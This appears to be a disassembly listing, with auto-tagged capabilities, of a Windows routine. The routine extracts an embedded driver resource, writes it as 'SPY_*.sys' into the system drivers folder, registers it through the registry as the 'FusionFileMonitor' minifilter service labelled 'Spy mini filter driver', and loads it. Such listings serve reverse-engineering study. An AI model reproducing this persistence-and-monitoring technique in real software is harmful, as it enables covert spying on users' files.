Function at 0x10004760
Capabilities:
Create thread
Extract resource via kernel32 functions
Get common file path
Persist via windows service
Set registry value
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1148
call fcn.100b7e70
mov dword [ebp - 0x1148], ecx
push 0x104
mov eax, dword [ebp - 0x1148]
add eax, 0x2e8
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push str.DriversEAF
push 0x104
mov ecx, dword [ebp - 0x1148]
add ecx, 0x2e8
push ecx
call fcn.10001ec0
mov edx, dword [ebp + 8]
push edx
push str.SPY_08x.sys
push 0x64
lea eax, [ebp - 0x8f8]
push eax
call fcn.10003de0
add esp, 0x10
lea ecx, [ebp - 0x8f8]
push ecx
push 0x104
mov edx, dword [ebp - 0x1148]
add edx, 0x2e8
push edx
call fcn.10001ec0
mov dword [ebp - 8], 2
mov dword [ebp - 0x14], 3
mov dword [ebp - 0x8fc], 1
mov dword [ebp - 0x90c], 4
mov dword [ebp - 0x82c], str.FusionFileMonitor
mov eax, dword [ebp - 0x82c]
push eax
push str.SYSTEMCurrentControlSetServices_
push 0x100d77ac
push 0x400
lea ecx, [ebp - 0x820]
push ecx
call fcn.10003de0
add esp, 0x14
lea edx, [ebp - 0x8f8]
push edx
push str.System32DriversEAF_s
push 0x400
lea eax, [ebp - 0x1118]
push eax
call fcn.10003de0
add esp, 0x10
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x820]
push edx
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x10004b1d
mov eax, dword [ebp - 0x82c]
push eax
call fcn.1009ecbb
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
mov edx, dword [ebp - 0x82c]
push edx
push 1
push 0
push str.DisplayName
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea ecx, [ebp - 0x1118]
push ecx
call fcn.1009ecbb
add esp, 4
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x1118]
push eax
push 1
push 0
push 0x100d7834
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea edx, [ebp - 8]
push edx
push 4
push 0
push str.Type
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea ecx, [ebp - 0x14]
push ecx
push 4
push 0
push str.Start
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea eax, [ebp - 0x8fc]
push eax
push 4
push 0
push str.ErrorControl
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea edx, [ebp - 0x90c]
push edx
push 4
push 0
push 0x100d7a54
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push bind
push 0
push 0x400
lea ecx, [ebp - 0x1118]
push ecx
call fcn.1009da4e
mov dword [ebp - 0x1130], eax
cmp dword [ebp - 0x1130], 0
jl 0x1000497d
push bind
push str.EA_File_Monitor
push 0
push 0x400
lea edx, [ebp - 0x1118]
push edx
call fcn.1009db9f
mov dword [ebp - 0x1130], eax
lea eax, [ebp - 0x1118]
push eax
call fcn.1009ecbb
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x1118]
push edx
push 1
push 0
push str.Group
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push bind
push 0
push 0x400
lea ecx, [ebp - 0x1118]
push ecx
call fcn.1009da4e
mov dword [ebp - 0x1134], eax
cmp dword [ebp - 0x1134], 0
jl 0x100049f5
push bind
push str.FltMgr
push 0
push 0x400
lea edx, [ebp - 0x1118]
push edx
call fcn.1009db9f
mov dword [ebp - 0x1134], eax
lea eax, [ebp - 0x1118]
push eax
call fcn.1009ecbb
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x1118]
push edx
push 1
push 0
push str.DependOnService
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push bind
push 0
push 0x400
lea ecx, [ebp - 0x1118]
push ecx
call fcn.1009da4e
mov dword [ebp - 0x1138], eax
cmp dword [ebp - 0x1138], 0
jl 0x10004a6d
push bind
push 0x100d72a0
push 0
push 0x400
lea edx, [ebp - 0x1118]
push edx
call fcn.1009db9f
mov dword [ebp - 0x1138], eax
lea eax, [ebp - 0x1118]
push eax
call fcn.1009ecbb
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x1118]
push edx
push 1
push 0
push str.DependOnGroup
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push bind
push 0
push 0x400
lea ecx, [ebp - 0x1118]
push ecx
call fcn.1009da4e
mov dword [ebp - 0x113c], eax
cmp dword [ebp - 0x113c], 0
jl 0x10004ae5
push bind
push str.Spy_mini_filter_driver
push 0
push 0x400
lea edx, [ebp - 0x1118]
push edx
call fcn.1009db9f
mov dword [ebp - 0x113c], eax
lea eax, [ebp - 0x1118]
push eax
call fcn.1009ecbb
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x1118]
push edx
push 1
push 0
push str.Description
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x82c]
push edx
push str.SYSTEMCurrentControlSetServices_
push str._s_sInstances
push 0x400
lea eax, [ebp - 0x820]
push eax
call fcn.10003de0
add esp, 0x14
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x820]
push edx
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x10004be2
push bind
push 0
push 0x400
lea eax, [ebp - 0x1118]
push eax
call fcn.1009da4e
mov dword [ebp - 0x1140], eax
cmp dword [ebp - 0x1140], 0
jl 0x10004baa
push bind
push str.FusionFileMonitor_Instance
push 0
push 0x400
lea ecx, [ebp - 0x1118]
push ecx
call fcn.1009db9f
mov dword [ebp - 0x1140], eax
lea edx, [ebp - 0x1118]
push edx
call fcn.1009ecbb
add esp, 4
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x1118]
push ecx
push 1
push 0
push str.DefaultInstance
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x82c]
push ecx
push str.SYSTEMCurrentControlSetServices_
push str._s_sInstancesFusionFileMonitor_Instance
push 0x400
lea edx, [ebp - 0x820]
push edx
call fcn.10003de0
add esp, 0x14
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x820]
push ecx
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x10004ccd
push bind
push 0
push 0x400
lea edx, [ebp - 0x1118]
push edx
call fcn.1009da4e
mov dword [ebp - 0x1144], eax
cmp dword [ebp - 0x1144], 0
jl 0x10004c6f
push bind
push str.265000
push 0
push 0x400
lea eax, [ebp - 0x1118]
push eax
call fcn.1009db9f
mov dword [ebp - 0x1144], eax
lea ecx, [ebp - 0x1118]
push ecx
call fcn.1009ecbb
add esp, 4
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x1118]
push eax
push 1
push 0
push str.Altitude
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x90c], 0
push 4
lea edx, [ebp - 0x90c]
push edx
push 4
push 0
push str.Flags
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x914], 0
push str.DRIVERZ
movzx edx, word [ebp + 8]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x910], eax
mov ecx, dword [ebp - 0x910]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x904], eax
mov eax, dword [ebp - 0x904]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
add eax, 4
mov dword [ebp - 0x828], eax
mov ecx, dword [ebp - 0x910]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
sub eax, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x828]
mov dword [ebp - 0x824], eax
push 0
push 0
push 2
push 0
push 0
push 0xc0000000
mov ecx, dword [ebp - 0x1148]
add ecx, 0x2e8
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x828]
push edx
call fcn.1009de20
add esp, 4
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
push eax
call fcn.1009ead1
add esp, 4
mov dword [ebp - 0x111c], eax
mov ecx, dword [ebp - 0x111c]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x828]
push edx
call fcn.1009de50
add esp, 0x10
mov dword [ebp - 0x900], eax
push 0
lea eax, [ebp - 0x914]
push eax
mov ecx, dword [ebp - 0x900]
push ecx
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.FusionFileMonitor
call sub.FLTLIB.DLL_FilterLoad
mov dword [ebp - 0x908], eax
cmp dword [ebp - 0x908], 0
jne 0x10004e14
push 0
push 0
mov edx, dword [ebp - 0x1148]
push edx
push 0x10004250
push 0x800
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x10004e8d
cmp dword [ebp - 0x908], 0xb7
jne 0x10004e2f
push str.Failed_to_load_driver__already_exists
call fcn.10010cb0
add esp, 4
jmp 0x10004e70
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x10004e4b
push str.Failed_to_load_driver__already_running
call fcn.10010cb0
add esp, 4
jmp 0x10004e70
cmp dword [ebp - 0x908], 2
jne 0x10004e63
push str.Failed_to_load_driver__file_not_found
call fcn.10010cb0
add esp, 4
jmp 0x10004e70
push str.Unknown_reason_for_driver_failure
call fcn.10010cb0
add esp, 4
push 0
push 0
mov eax, dword [ebp - 0x1148]
push eax
push 0x10004250
push 0x800
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
mov esp, ebp
pop ebp
ret 8